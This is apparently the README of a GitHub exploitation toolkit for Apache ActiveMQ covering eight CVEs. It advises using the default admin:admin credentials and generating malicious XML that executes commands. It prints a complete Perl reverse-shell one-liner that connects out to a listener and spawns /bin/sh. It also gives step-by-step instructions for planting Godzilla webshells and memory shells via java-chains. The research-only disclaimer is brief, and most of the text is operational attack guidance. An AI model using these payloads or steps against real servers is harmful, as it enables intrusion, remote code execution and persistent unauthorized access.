catherines77/activemq-exptoolsApache ActiveMQ漏洞综合利用工具(CVE-2015-5254，CVE-2016-3088，CVE-2022-41678，CVE-2023-46604，CVE-2024-32114，CVE-2026-34197，CVE-2026-40466， CVE-2026-42588)
Supports detecting and exploiting Apache ActiveMQ vulnerabilities: CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588
[!WARNING] This tool is intended for security research and learning purposes only. Users assume all legal and related responsibilities arising from the use of this tool. Please ensure your actions comply with local laws and regulations. The author disclaims any liability. If you do not accept these terms, do not use this tool.
Launched with JDK 8, Openwire default port is 61616, which may not be open on the target environment. Apache ActiveMQ default username and password are admin:admin. The BeanXML configuration panel can generate malicious XML that executes corresponding commands. Feel free to submit an Issue if you have any problems.
During vulnerability detection, you can set the malicious XML server address to a dnslog. If a request is received, it may indicate the presence of CVE-2023-46604, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588.
Use java-chains to generate deserialization data. URLDNS can be used for vulnerability verification.
When obtaining a reverse shell, it is best to use perl; sh and bash may sometimes fail.
/usr/bin/perl -e 'use Socket;$i="192.168.239.129";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
When writing a custom webshell, using a Behinder webshell will result in a 500 error, but Godzilla works fine. When connecting with the tool, remember to include the authentication header.
Starting from version 1.4, the memory shell generation module MemShellParty is no longer integrated. On one hand, the fatjar package becomes bloated; on the other hand, the base64 decoding method required by the SpringBeanXmlClassLoader is not universal across different Java versions, causing the tool to reinvent the wheel. For those who need memory shell functionality, please refer to the following XML generation process:
First, generate the corresponding memory shell base64 string in MemShellParty at https://party.mem.mk/ui
Then go to java-chains, find Generate-OtherPayload, and select Custom Bytecode.
Choose the base64 decoding method according to the JDK version. The default is the decodeFromString method, while the CVE-2026-34197 target environment in vulhub requires selecting java.util.Base64.
Finally, fill in the memory shell Base64 string and click Generate.
For Filter, Listener, or Servlet types, you need to add the path /admin/, /api/, and the authentication header when connecting to the memory shell. Handlers do not require a path or authentication header field.
Acknowledgments
https://github.com/URJACK2025/CVE-2022-41678
https://github.com/vulhub/vulhub